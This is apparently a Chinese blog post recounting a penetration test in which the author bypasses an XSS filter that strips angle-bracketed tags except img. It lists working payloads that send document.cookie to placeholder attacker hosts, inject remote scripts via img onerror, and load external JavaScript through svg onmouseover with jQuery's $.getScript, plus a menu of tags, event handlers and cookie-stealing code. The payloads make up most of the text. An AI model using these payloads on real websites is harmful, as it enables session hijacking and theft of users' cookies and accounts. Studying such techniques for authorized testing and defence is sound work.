1. 程式人生 > >XSS漏洞之載入遠端js檔案

XSS漏洞之載入遠端js檔案

這次在對一個系統滲透測試過程中,發現一個XSS漏洞,可彈窗,並且沒有httponly

但是在嘗試載入遠端js檔案的時候發現,script標籤被過濾掉了,準確的說應該是伺服器後端在識別到輸入內容有<>的時候,會把每對尖括號以及尖括號裡面的內容都過濾掉,唯獨有一個特例,就是img標籤不會

在網上找了一些資料,發現可以用img來載入遠端js,陸陸續續試過以下幾個方法:

1.<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>

   用這種方式是將cookie寫入到自己搭建的伺服器下的一個txt檔案裡,這種方式能起作用,但是沒讀到cookie,so失敗了

 

2.<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

   這種方法也沒成功,有可能是因為其中包含有script關鍵字,so失敗了

 

3.<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">

    最終成功載入到遠端js檔案的payload!這種方法只要網站支援jQuery就可以這樣子載入js檔案

    這種方法有三個要素,可以自由選擇

    3.1標籤:svg  input   object   iframe  img  a   pbutton  script等等

    3.2屬性:onmouseover  onmousemove   onclick  onerror  onload  onfocus+autofocus

    3.3事件程式碼:console.log(document.cookie)

                document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie

                      prompt(document.cookie)

                      confirm(document.cookie)

                        "$.getScript`https://xxx/a.js`" stype="display:none"                              --載入遠端js檔案

                    

 

心得體會:

學習前輩的經驗,一定要多思考,不要搬過來就直接時直接用,多想想為什麼,多去探索原理和本質,實踐出真知。

另外,不要讓程式碼能力成為自己的短板。

&n